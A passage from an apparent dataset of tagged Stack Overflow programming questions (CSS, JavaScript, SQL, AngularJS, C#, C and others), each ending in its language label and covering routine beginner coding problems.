&lt;tr&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;td&gt;test&lt;/td&gt;&lt;/tr&gt;         &lt;/table&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>   this is one of those things that make me think css is broken. i thought containing elements were supposed to expand to fit their contents.    <strong>question 1:</strong> why is it doing that     <strong>question 2:</strong> what should i do to get a margin between the table and the right edge of the page,css
add next and prev button in slide show  <strong>html</strong>   <pre><code>&lt;img id= myimg src= slide/2.jpg  name= img  width= 1000  height= 250 /&gt; </code></pre>   <strong>js</strong>   <pre><code>var image1 = new image(); image1.src =  slide/23.jpg ;  var image2 = new image(); image2.src =  slide/7.jpg ;  var image3 = new image(); image3.src =  slide/4.jpg ;  var image4 = new image(); image4.src =  slide/5.jpg ;  var image5 = new image(); image5.src =  slide/6.jpg ;    var step = 1;  function slideimages() {     if (!document.images) {         return         document.images.img.src = eval( image  + step +  .src );     }     if (step &lt; 5) {         step++;     } else {         step = 1;         settimeout( slideimages()   3000);     } }  slideimages(); </code></pre>,javascript
java files are system independent   many people used to say that java is a system independent programming language; the same .class file can be run (interepted) in any os using the appropriate os jvm. my question - is the .java file itself also system independent  i.e. is a .java file that was written (and can be compiled correctly) in one os  can be compiled correctly in another os  if not  do you have any example to show this     thanks!,java
angularjs - how to string together multiple input boxes   i m new to angularjs i would like to string together the contents of several input text boxes. i have this fiddle:   <pre><code>&lt;script&gt;     function mycontroller($scope){         $scope.fields = {             test : [{value:  aaa }  {value: bbb }  {value: ccc }]         }     }; &lt;/script&gt; &lt;div ng-app ng-controller= mycontroller &gt;     &lt;ul&gt;         &lt;li ng-repeat= field in fields.test &gt;             &lt;input type= text  ng-model= field.value &gt;         &lt;/li&gt;     &lt;/ul&gt;     &lt;pre&gt;{{fields}}&lt;/pre&gt; &lt;/div&gt; </code></pre>   <a href= http://jsfiddle.net/f3do0lla/  rel= nofollow noreferrer >http://jsfiddle.net/f3do0lla/</a>    i would like the value to be: aaabbbccc (also  how can i adjust the code in for scenario where there could be x input boxes) thanks,angularjs
python-check if all elements in list1 are greater than eliments of the same index in list2  i have two lists:    <pre><code>x = [50 25 30] y = [25 30 50] </code></pre>   i am new to programming  how can i determine if x[0] >= y[0]  x[1] >= x[1]  with a loop or some other function      i d like to avoid the simple:   <pre><code>x[0] &gt;= y[0] x[1] &gt;= y[1] x[2] &gt;= y[2] </code></pre>   as these lists may be appended.,python
how do i select the dates with a specific month   how do i select the date with a specific month  for example i have in my table:   <pre><code>1-mar-2015 16-mar-2013 12-feb-2016 14-apr-2014 </code></pre>   and i want to get only the dates from march. the result should be:   <pre><code>1-mar-2015 16-mar-2013 </code></pre>,sql
i want to know if this query method is possible   i have this query   <pre><code>    select     paymentdetails_id as pay_id  type  description  details  due_date     paymentdetails_cleared  amount  mode                            (select     bill_id                             from          bill_payment_records                             where      (payment_id = pay_id)) as bill_no from         payment_details where     (mode = 1) and (paymentdetails_cleared = 0) and (due_date between @start_date and @end_date) </code></pre>   over here i want to add a variable which can be used in an inside query. like i want bill_id which can be determined in the query.    as i studied i don t think its possible but is there any way i can do that.,sql
what is wrong with sql query  what is wrong with this sql query. i am getting syntax error near convert   <pre><code> select * from collections c where c.submittedby= 679  and convert(varchar  c.eventtime  103) = 2017-06-21  ; </code></pre>   the eventtime is   eventtime :  2017-06-21t12:20:03.9366135+05:30     the error is   <pre><code>{ message: {\ errors\ :[{\ severity\ :\ error\  \ location\ :{\ start\ :64 \ end\ :71} \ code\ :\ sc1001\  \ message\ :\ syntax error  incorrect syntax near  convert .\ }]}\r\nactivityid: a0c51c53-fca0-4c81-8f10-65348749e3d2 } </code></pre>,sql
resize html text area based on document width  i need a way to resize a <code>textarea</code> based on the width of the entire page.  i have a <code>div</code> absolutely positioned next to it with a width of 40%  and i want to have my <code>textarea</code> take up the rest of the page.  i know i can t just say <code>&lt;textarea width= 60% ...&gt;</code> because <code>textarea</code> doesn t have a <code>width</code> attribute.  is there any way to tell <code>textarea</code> to take up a relative amount of space,html
what does adding 15 and then applying &~0xf do   i have some code i am studying where it is written:   <pre><code>(basenameoffset + (basenametotal+15)) &amp;~0xf </code></pre>   why would someone do this  what does it do  i can see that <code>~0xf</code> is <code>0xfffffff0</code>. why would you block the last bit,c++
is it possible to add object at last index if all the first indexes are not filled up by objects  i don t know if it is possible to add object at last index if all the first indexes are not filled up by objects in a <code>nsmutablearray</code>. is it possible,objective-c
selecting one radio out of many  i m trying to  modify/change  the way this code works  i want it to only allow one radio button selection out of 30 or more choices. as it is written now  it looks for all selected before submitting. im a noob  please be kind.   <pre><code>&lt;script type= text/javascript &gt;             function checkform() {                 //make sure all picks have a checked value                 var f = document.entryform;                 var allchecked = true;                 var allr = document.getelementsbytagname( input );                 for (var i=0; i &lt; allr.length; i++) {                     if(allr[i].type ==  radio ) {                         if (!radioischecked(allr[i].name)) {                             allchecked = false;                         }                     }                       }                 if (!allchecked) {                     return confirm( one or more picks are missing for the current week.  do you wish to submit anyway  );                 }                 return true;             }             function radioischecked(elmname) {                 var elements = document.getelementsbyname(elmname);                 for (var i = 0; i &lt; elements.length; i++) {                     if (elements[i].checked) {                         return true;                     }                 }                 return false;             }             &lt;/script&gt; </code></pre>,javascript
authorization service fails on page refresh in angularjs  implemented the authorization using the <a href= http://nadeemkhedr.wordpress.com/2013/11/25/how-to-do-authorization-and-role-based-permissions-in-angularjs/  rel= nofollow >post</a> the problem is when i go to a privileged page say  /admin  it works but when i refresh the page manually  the admin page is redirecting to the  /unauthorized  page    permissions service   <pre><code>angular.module( myapp )     .factory( permissionsservice   function ($rootscope $http cookieservice) {         var permissionlist;         return {             setpermissions: function(permissions) {                 permissionlist = permissions;                 $rootscope.$broadcast( permissionschanged )             }              getpermissions: function() {                 var roleid = 5                 if(cookieservice.getloginstatus())                     var roleid = cookieservice.getuserdata().role_id;                  return $http.post( api/user-permissions   roleid).then(function(result){                     return result.data;                 });             }              haspermission: function (permission) {                 permission = permission.trim();                 return _.some(permissionlist  function(item) {                     if(_.isstring(item.name))                         return item.name.trim() === permission                 });             }         };     }); </code></pre>   haspermissions directive   <pre><code>angular.module( myapp )     .directive( haspermission   function(permissionsservice) {         return {             link: function(scope  element  attrs) {                 if(!_.isstring(attrs.haspermission))                     throw  haspermission value must be a string ;                  var value = attrs.haspermission.trim();                 var notpermissionflag = value[0] ===  ! ;                 if(notpermissionflag) {                     value = value.slice(1).trim();                 }                  function togglevisibilitybasedonpermission() {                     var haspermission = permissionsservice.haspermission(value);                      if(haspermission &amp;&amp; !notpermissionflag || !haspermission &amp;&amp; notpermissionflag)                         element.show();                     else                         element.hide();                 }                 togglevisibilitybasedonpermission();                 scope.$on( permissionschanged   togglevisibilitybasedonpermission);             }         };     }); </code></pre>   app.js   <pre><code>var myapp = angular.module( myapp  [ ngroute   ngcookies ]);  myapp.config(function ($routeprovider $httpprovider) {     $routeprovider         .when( /   {             templateurl:  app/module/public/index.html               header:  app/partials/header.html               footer:  app/partials/footer.html          })         .when( /login   {             templateurl:  app/module/login/login.html               header:  app/partials/header.html               footer:  app/partials/footer.html          })         .when( /home   {             templateurl:  app/module/home/home.html               header:  app/partials/header.html               footer:  app/partials/footer.html          })         .when( /register   {             templateurl:  app/module/register/register.html               header:  app/partials/header.html               footer:  app/partials/footer.html          })         .when( /admin   {             templateurl:  app/module/admin/admin.html               header:  app/partials/header.html               footer:  app/partials/footer.html               permission:  admin          })         .when( /unauthorized   {             templateurl:  app/partials/unauthorized.html               header:  app/partials/header.html               footer:  app/partials/footer.html          })         .otherwise({redirectto:  / });      $httpprovider.responseinterceptors.push( securityinterceptor ); });  myapp.provider( securityinterceptor   function() {     this.$get = function($location  $q) {         return function(promise) {             return promise.then(null  function(response) {                 if(response.status === 403 || response.status === 401) {                     $location.path( /unauthorized );                 }                 return $q.reject(response);             });         };     }; });  myapp.run(function($rootscope  $location  $window  $route  $cookiestore  cookieservice  permissionsservice) {     permissionsservice.getpermissions().then(function(permissionlist){         permissionsservice.setpermissions(permissionlist);     });      // check login status on route change start     $rootscope.$on(  $routechangestart   function(event  next  current) {         if(!cookieservice.getloginstatus() &amp;&amp; $location.path() !=  /register  &amp;&amp; $location.path() !=  /login ) {             $location.path( / );             $rootscope.$broadcast( notloggedin );         }          if(cookieservice.getloginstatus() &amp;&amp; $location.path() ==  /login ) {             $location.path( /home );         }          var permission = next.$$route.permission;         if(_.isstring(permission) &amp;&amp; !permissionsservice.haspermission(permission))             $location.path( /unauthorized );      });      // adds header and footer on route change success     $rootscope.$on( $routechangesuccess   function (ev  current  prev) {         $rootscope.flexylayout = function(partialname) { return current.$$route[partialname] };     }); }); </code></pre>   cookieservice   <pre><code>angular.module( myapp )     .factory( cookieservice   function ($rootscope $http $cookiestore) {         var cookie = {             data: {                 login: false                  user: undefined             }              savelogindata: function(user) {                 cookie.data.login = true;                 cookie.data.user = user;                 $cookiestore.put( __iqngcon  cookie.data);             }              deletelogindata: function() {                 cookie.data.login = false;                  cookie.data.user = undefined;                  $cookiestore.put( __iqngcon  cookie.data);             }              getloginstatus: function() {                 if($cookiestore.get( __iqngcon ) === undefined)                     return cookie.data.login;                  return $cookiestore.get( __iqngcon ).login;             }              getuserdata: function() {                 return $cookiestore.get( __iqngcon ).user;             }         };          return cookie;     }); </code></pre>   it seems like the permissions data are lost on page refresh. is there any other way i can solve the problem  or is there any problem with the code,angularjs
android studio build gradle as not found  i have the  problem in android studio  error:could not read build file  c:\users\spotlight\androidstudioprojects\programmierpraktikumwise2014\gr2-android\client\aot-messenger\app\build.gradle  as it does not exist.  what should i do    thank you,android
clang: error: linker command failed with exit code 1 (use -v to see invocation) with duplicate symbols  duplicate symbol _titleobj1 in:     /users/imac7/desktop/tolly gossips 2/ramesh/build/intermediates/htmlparsing.build/debug-iphonesimulator/htmlparsing.build/objects-normal/x86_64/main.o     /users/imac7/desktop/tolly gossips 2/ramesh/build/intermediates/htmlparsing.build/debug-iphonesimulator/htmlparsing.build/objects-normal/x86_64/appdelegate.o duplicate symbol _imagobj in:     /users/imac7/desktop/tolly gossips 2/ramesh/build/intermediates/htmlparsing.build/debug-iphonesimulator/htmlparsing.build/objects-normal/x86_64/main.o     /users/imac7/desktop/tolly gossips 2/ramesh/build/intermediates/htmlparsing.build/debug-iphonesimulator/htmlparsing.build/objects-normal/x86_64/appdelegate.o duplicate symbol _textobj in:     /users/imac7/desktop/tolly gossips 2/ramesh/build/intermediates/htmlparsing.build/debug-iphonesimulator/htmlparsing.build/objects-normal/x86_64/main.o     /users/imac7/desktop/tolly gossips 2/ramesh/build/intermediates/htmlparsing.build/debug-iphonesimulator/htmlparsing.build/objects-normal/x86_64/appdelegate.o duplicate symbol _titleobj1 in:     /users/imac7/desktop/tolly gossips 2/ramesh/build/intermediates/htmlparsing.build/debug-iphonesimulator/htmlparsing.build/objects-normal/x86_64/main.o     /users/imac7/desktop/tolly gossips 2/ramesh/build/intermediates/htmlparsing.build/debug-iphonesimulator/htmlparsing.build/objects-normal/x86_64/viewcontroller.o duplicate symbol _imagobj in:     /users/imac7/desktop/tolly gossips 2/ramesh/build/intermediates/htmlparsing.build/debug-iphonesimulator/htmlparsing.build/objects-normal/x86_64/main.o     /users/imac7/desktop/tolly gossips 2/ramesh/build/intermediates/htmlparsing.build/debug-iphonesimulator/htmlparsing.build/objects-normal/x86_64/viewcontroller.o duplicate symbol _textobj in:     /users/imac7/desktop/tolly gossips 2/ramesh/build/intermediates/htmlparsing.build/debug-iphonesimulator/htmlparsing.build/objects-normal/x86_64/main.o     /users/imac7/desktop/tolly gossips 2/ramesh/build/intermediates/htmlparsing.build/debug-iphonesimulator/htmlparsing.build/objects-normal/x86_64/viewcontroller.o duplicate symbol _titleobj1 in:     /users/imac7/desktop/tolly gossips 2/ramesh/build/intermediates/htmlparsing.build/debug-iphonesimulator/htmlparsing.build/objects-normal/x86_64/main.o     /users/imac7/desktop/tolly gossips 2/ramesh/build/intermediates/htmlparsing.build/debug-iphonesimulator/htmlparsing.build/objects-normal/x86_64/tableviewcontroller.o duplicate symbol _imagobj in:     /users/imac7/desktop/tolly gossips 2/ramesh/build/intermediates/htmlparsing.build/debug-iphonesimulator/htmlparsing.build/objects-normal/x86_64/main.o     /users/imac7/desktop/tolly gossips 2/ramesh/build/intermediates/htmlparsing.build/debug-iphonesimulator/htmlparsing.build/objects-normal/x86_64/tableviewcontroller.o duplicate symbol _textobj in:     /users/imac7/desktop/tolly gossips 2/ramesh/build/intermediates/htmlparsing.build/debug-iphonesimulator/htmlparsing.build/objects-normal/x86_64/main.o     /users/imac7/desktop/tolly gossips 2/ramesh/build/intermediates/htmlparsing.build/debug-iphonesimulator/htmlparsing.build/objects-normal/x86_64/tableviewcontroller.o duplicate symbol _titleobj1 in:     /users/imac7/desktop/tolly gossips 2/ramesh/build/intermediates/htmlparsing.build/debug-iphonesimulator/htmlparsing.build/objects-normal/x86_64/main.o     /users/imac7/desktop/tolly gossips 2/ramesh/build/intermediates/htmlparsing.build/debug-iphonesimulator/htmlparsing.build/objects-normal/x86_64/detailviewcontroller.o duplicate symbol _imagobj in:     /users/imac7/desktop/tolly gossips 2/ramesh/build/intermediates/htmlparsing.build/debug-iphonesimulator/htmlparsing.build/objects-normal/x86_64/main.o     /users/imac7/desktop/tolly gossips 2/ramesh/build/intermediates/htmlparsing.build/debug-iphonesimulator/htmlparsing.build/objects-normal/x86_64/detailviewcontroller.o duplicate symbol _textobj in:     /users/imac7/desktop/tolly gossips 2/ramesh/build/intermediates/htmlparsing.build/debug-iphonesimulator/htmlparsing.build/objects-normal/x86_64/main.o     /users/imac7/desktop/tolly gossips 2/ramesh/build/intermediates/htmlparsing.build/debug-iphonesimulator/htmlparsing.build/objects-normal/x86_64/detailviewcontroller.o ld: 12 duplicate symbols for architecture x86_64 clang: error: linker command failed with exit code 1 (use -v to see invocation),ios
connecting a form with console  i m creating a project in visual studio 2017 and i need to fill a check box on a form that i created with the name of the text file that i previously create and send them into an ftp server. is that possible  here s some of my code  feel free to ask about more code:    creates the file and saves it:   <pre><code>using (streamwriter writer = new streamwriter( c:\\users\\hp8200\\desktop\\faturas teste\\fatura   + _transaction.transdocnumber +  .txt )) {     string numcont = _transaction.partyfederaltaxid;     double numenc = _transaction.billtopartyid;     double numfatura = _transaction.transdocnumber;     datetime data = _transaction.createdate;     double valor = _transaction.totalamount;     int zona = transaction.unloadplaceaddress.addressid;     string zona2 = transaction.unloadplaceaddress.addressline2;     double precoantesdisc = bsoitemtrans.bsoitemtransactiondetail.transactiondetail.packunitprice;     double preconet = transaction.totaltransactionamount;     double quantidade = transaction.details.count;     string bonus =  0 ;     string valorstr = valor.tostring(cultureinfo.invariantculture);     string preconetstr = preconet.tostring(cultureinfo.invariantculture);     string precoantesdiscstr = precoantesdisc.tostring(cultureinfo.invariantculture);      writer.writeline($ {numcont};{numenc};{numfatura};{data:dd/mm/yyyy};{valorstr};{zona}; );     foreach (itemtransactiondetail detail in transaction.details)     {         var item = myapp.dsocache.itemprovider.getitem(detail.itemid  myapp.systemsettings.basecurrency);         double taxrate = myapp.dsocache.taxesprovider.gettaxratefromtaxablegroupid(detail.taxablegroupid   prt    con );         string barcode = item.barcode;         writer.writeline($ {barcode};{taxrate};{precoantesdiscstr};{preconetstr};{quantidade};{bonus} );     }  }  sqlconnection conn = new sqlconnection(@ data source = 2c4138928627\sage ; database=armindodata ; user id=sa ; password=sage2008+ ); sqlcommand command = new sqlcommand( if object_id( uxzona    u ) is null create table uxzona(idzona int morada char(50));   conn); conn.open(); sqlcommand insertcommand = new sqlcommand( insert into uxzona(firstcolumn  secondcolumn) values (@0  @1)   conn); command.executenonquery();  sqlcommand con = new sqlcommand( if object_id( uxzona    u ) is null create table uxzona(idzona int morada char(50));   conn);  messagebox.show( gravou ); </code></pre>   form code:    on the form i just have an empty checklist and a submit button.    update    added 2 screenshots to be more specific    here i ve the textfile i ve created with the code above    <a href= https://i.stack.imgur.com/kf29b.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/kf29b.png  alt= enter image description here ></a>    and i need to put the name of that file inside this checklist and then when i press the submit button it sends the textfile to an ftp server that i have.    <a href= https://i.stack.imgur.com/k45sm.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/k45sm.png  alt= enter image description here ></a>    update 2: added some code that m idrees gave me.   <pre><code>private void checkedlistbox1_selectedindexchanged(object sender  eventargs e)     {         void loadfilenames()         {             string path = @ c:\users\hp8200\desktop\faturas teste ;             string filenameonly =   ;             foreach (var item in system.io.directory.getfiles(path   *.txt )) // here you can change file extension according to your needs.             {                 filenameonly = system.io.path.getfilenamewithoutextension(item);                 checkedlistbox1.items.add(filenameonly); // actually adding files names to checkbox listing             }         }     } </code></pre>,c#
splitting a column into various columns <pre><code>-- create table dbo.fullnametest if object_id( fullnametest ) is not null begin    drop table dbo.fullnametest; end;  create table fullnametest (    id           int          not null identity      fullname   nvarchar(80) not null      constraint pk_id  primary key clustered(id) ); go  insert into fullnametest values( mr hog finn gad )  ( grace bruce )  ( dr.paul )  ( master clark james )  ( mrs.rignald )  select * from fullnametest </code></pre>   rules   <ol> <li> treat entries (mrs  mr  miss etc) as titles and ignore the dot after title </li> <li> when we have title and a single name  return it as title  lastname </li> <li> when we have title and two names return it as title  firstname and lastname </li> <li> when we have title and three names  return title  firstname and treat the rest as lastname </li> <li> when we have no title  reurn data as firstname  lastname </li> <li> no function required. </li> </ol>   so we can get values in this form:   <pre><code>title   firstname   lastname ------------------------------ mr      hog         finn gad null    grace       bruce dr      null        paul master  clark       james mrs     null        rignald </code></pre>   thank you,sql
objective c  what is the best way to convert volatile in java into objective c   i am trying to convert java code into objective c code. and the java code contains variables defined as volatile. i looked online and  volatile  usage in java as follwing   <pre><code> essentially  volatile is used to indicate that a variable s value will be modified by different threads. </code></pre>   so  if i was going to set variables as volatile in objective c because the variables are going to be accessed by different threads then i don t need to set those variables as volatile because i can just set those variables as atomic,objective-c
can i stop this blue highlight from appearing   i ve added the angular-bootstrap pagination widget to my app. it works perfectly but if i click the next button in quick succession  the whole widget highlights.    <img src= https://i.stack.imgur.com/ozxtr.png  alt= enter image description here >    is there a way to stop this highlighting     <em>i m not going to add an angular tag as i d imagine any fix would be css</em>,css
decompose conditional statement **(isset($a) && (($b && $c) || $d || $e))** <pre><code>**(isset($a) &amp;&amp; (($b &amp;&amp; $c) || $d || $e))**  i want to refactor above conditional statement.  </code></pre>   but i dont know how to proceed.<br>   i did some work on that first i minimized all conditional statement  into formats of variables.<br>   whole statement i put into if clause and i am expection true from that statement.    i already try to decompose into function like    <pre><code>function check($a) {     if (!isset($a)) {         return false;     }      if ($e == false) {         return true;     }      if ($b &amp;&amp; $c) {         return true;     }      if ($d) {         return true;     } } </code></pre>   but i am sure that their might be some more better way to do this.  can anybody help me in this.,php
image links with width and height  source image:http://cdn2.supergoodmovies.com/filestwo/efb04e43d3e3471c86e406df449f75b8.jpg/151/99    i need to know how to make this type of links i.e  the width and height of the image can be changed by changing 151/99 in the link.please let me know what is the concept behind it.i am a beginner in this things so please give answer in detail. waiting for the answer.    thanks in advance..,html
changing the number of integers on a output value after the decimal point  so i m learning and practicing wp7 application development.    i m working with integers (currency)  and it seems to always display four integers after the decimal place. i m trying to cut it down to just either one or two decimal places.    i ve been trying to use the   <code> my variable.tostring( c2 ) </code>     (c for currency  2 for number of ints after the decimal)    i m probably missing something obvious  but please help    <img src= https://i.stack.imgur.com/rluqd.png  alt= enter image description here >,c#
displaying the item that is after and before in ng-repeat angularjs  i did :    <pre><code>&lt;li ng-repeat= card in cards  ng-if= list._id == card.list &gt;{{card.name}}  &lt;button ng-click= take($index) &gt;here&lt;/button&gt;{{ $index}}&lt;/li&gt; </code></pre>   <a href= https://i.stack.imgur.com/96ven.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/96ven.png  alt= enter image description here ></a>    and i have question:    if i displayed items from the board by ng-repeat also ng-if  how can i do that after click here will be displayed console.log() with name before item and after      in blackboard there are mixed cards for different lists.,angularjs
html form hidding a particular column  i have  a html form with table data as :   <pre><code>name place  id </code></pre>   for the user name  place only should be displayed. but id should not be displayed. my intention is on the ui i do not want the user to see the id. but in the back ground that id should be there . so that when he updates and send  the form using submit server can  get the information the way it want.    so example: actual table data    <pre><code>greg xxx 11111 adam yyy  11112 </code></pre>   to the user it should display as   <pre><code>greg xxx  adam yyy   </code></pre>   i tried to use the <code>hidden</code> keyword and it did not work   <pre><code>  &lt;td&gt;        &lt;input readonly= hidden  type= text  name= id  id= mytext  size= 9  value= 1111 /&gt;    &lt;/td&gt;   &lt;td&gt;        &lt;input readonly= readonly  type= text  name= name  id= mytext  size= 9  value= greg  /&gt;    &lt;/td&gt;   &lt;td&gt;       &lt;input readonly= readonly  type= text  name= location  id= mytext1  size= 25  value= xxxx  /&gt;    &lt;/td&gt; </code></pre>   i missed to tell that i also have  that is the problem alignment is messed up and i can get the values for only 1 element displayed,html
site wide link fade excluding one element  i m extremely novice when it comes to css.  so forgive my probably very ignorant question.    i am working on adding a fade effect when hovering on links / menu items on my website.  i ve found a piece of code that does the trick which i ve listed below.  however  i am looking for a simple way to exclude this from affecting my main page content.  this code is making the transition time on a slideshow choppy and slow.  is there a way to simply exclude this from affecting the main page content    <pre><code>a { -webkit-transition:all 200ms ease-in; -o-transition:all 200ms ease-in; } </code></pre>   thank you!,css
uncaught syntaxerror: unexpected token || (or)  i am getting this <strong>unexpected token ||</strong> error for the below code-   <pre><code>if (x ==  u )||(x ==  u2 ){         var d = json.parse(m[1]);         upd(d);     } </code></pre>   but not if i separate the if statements like below-   <pre><code>if (x ==  u ) {         var d = json.parse(m[1]);         update(d);     }     if (x ==  u2 ) {         var d = json.parse(m[1]);         upd(d);     } </code></pre>   i am not sure why is this happening  very new to javascript. any suggestions     thanks in advance!,javascript
overwrite single line in txt file  i m writing a c program that writes to a txt file. the first line is meant to be a number  that i want to update regularly. the problem i m having is that it starts at 1  and when i reach the number 10  it overwrites the next character in the file. this is what i m getting:    before:              <pre><code>9 hello </code></pre>   after:   <pre><code>10  ello          </code></pre>   i want this:   <pre><code>10 hello </code></pre>   how should i do this  thanks in advance    ps: this is my code:   <pre><code>int nkv = 9; char nkvst[10]; sprintf(nkvst   %d\n   nkv); fputs(nkvst  fp[3]); fputs( hello   fp[3]); fseek(fp[3]  0  seek_set); nkv = 10; sprintf(nkvst   %d\n   nkv); fputs(nvkst  fp[3]); </code></pre>,c
how to check and assign values in php   i m new to php. i want to retrieve the value from my checkboxes in php and read it.    <strong>html</strong>   <pre><code>&lt;input type= radio  name= andras &gt;male &lt;input type= radio  name= andras &gt;female </code></pre>   <strong>php</strong>   <pre><code>$number= array($_post[ andras ]); $fylo=$number[$i]; </code></pre>,php
how do you put multiple inputs on one line   this is probably a easy question for most of you but the answer has evaded me for the most part. i m writing a program to sort three numbers from lowest to highest and in the command prompt the inputs must be all on one line. i have the program working but for whatever reason i cannot get the inputs to show on one line. instead i get something like:   <pre><code>please enter three numbers: 1  2  3  sorted numbers are: 1  2  3 </code></pre>   where it should show   <pre><code>please enter three numbers: 1 2 3  sorted numbers are: 1  2  3 </code></pre>   my code:   <pre><code>import java.util.scanner; public class ch5pa1 { public static void main(string[] args) { // declarations scanner input = new scanner(system.in);  system.out.print( enter three values:  ); double num1 = input.nextdouble(); double num2 = input.nextdouble(); double num3 = input.nextdouble(); displaysortednumbers(num1  num2  num3); }  /** sort numbers */ public static void displaysortednumbers(double num1  double num2  double num3){ double highest = num1 &gt; num2 &amp;&amp; num1 &gt; num3   num1 : num2 &gt; num1 &amp;&amp; num2 &gt; num3   num2 : num3; double lowest = num1 &lt; num2 &amp;&amp; num1 &lt; num3   num1 : num2 &lt; num1 &amp;&amp; num2 &lt; num3   num2 : num3; double middle = num1 != highest &amp;&amp; num1 != lowest   num1 : num2 != highest &amp;&amp; num2 != lowest   num2 : num3; system.out.println( the sorted numbers are   + lowest +     + middle +     + highest); } } </code></pre>,java
the time of execution increases from -o0 to -os ..so is the time referring to compilation time or execution time..   as we  know that the time increases from -0o to -0s in gcc. does the time referring to compiling time or execution time or both   as there is  change in binary from -o0 to -os  then the way instructions executes will  also differ  so the time of execution will also alter is this correct..,c
how to make the animation like when deleting a item in iphones home screen in iphone sdk   i need a help from your side i had items like it in the home screen of the iphone.also i am having edit button when i click on to the edit button a delete button is shown at the top left corner of every item.the need is when we have a long press in iphone we will get delete icon at the top left corner and the each item shakes.i want to implement that animation.can anyone suggest me how to do this animation of shaking     anyone s help will be much appreciated.    thanks to all  monish.,objective-c
get values from one column in two columns  i have 3 tables:    <strong>tartikelattribut</strong>:   <pre><code>kartikelattribut | kartikel | kattribut ---------------------------------------      97974       |     33   |    117      97975       |     33   |    122 </code></pre>   <strong>tartikelattributsprache</strong>   <pre><code>kartikelattribut | cwertvarchar -------------------------------      97974       | black      97975       | bla </code></pre>   <strong>tattributsprache</strong>   <pre><code>kattribut | cname ------------------        117    | farbe    122    | saison </code></pre>   my sql:   <pre><code>select      tartikelattribut.kartikel       tartikelattributsprache.cwertvarchar as farbe       tartikelattributsprache.cwertvarchar as saison from      (tartikelattributsprache  inner join      tartikelattribut on tartikelattributsprache.kartikelattribut = tartikelattribut.kartikelattribut)  inner join      tattributsprache on tartikelattribut.kattribut = tattributsprache.kattribut group by      tartikelattribut.kartikel  tartikelattributsprache.cwertvarchar       tartikelattributsprache.cwertvarchar  tattributsprache.cname having      (((tattributsprache.cname) =  farbe  or        (tattributsprache.cname) =  saison )); </code></pre>   output   <pre><code>kartikel | farbe | saison -------------------------    33    | black | black    33    | bla   | bla </code></pre>   i need this   <pre><code>kartikel | farbe | saison -------------------------    33    | black | bla </code></pre>   i have unfortunately no solution approach,sql
html invert checkboxes  i want to have a checked checkbox behave as an unchecked checkbox  and an unchecked checkbox behave as a checked checkbox. how can this be accomplished     context: in my template is a for loop that creates a checkbox for each filter condition. i want to show the user that the initial setting has all checkboxes checked  and they can uncheck them to exclude certain categories. the backend uses <code>exclude</code> statements  therefore it s necessary to invert the checkboxes.,html
try to have a single row view from several tables in group by in view  the is one to many relation between first column in first table to first columns for the next two tables when i make a view with union all between the three tables i can’t have a one row result because the value fields with the yellow color are group by. the best result i get is to select first() in the yellow column of first table and 0 in the others but i see this as source of error and the result not a single row.    what i can do in the view to have a single row result like this    <a href= https://www.dropbox.com/s/vis1depsag4zt66/rch.pdf dl=0  rel= nofollow >a pictures for the three table</a>,sql
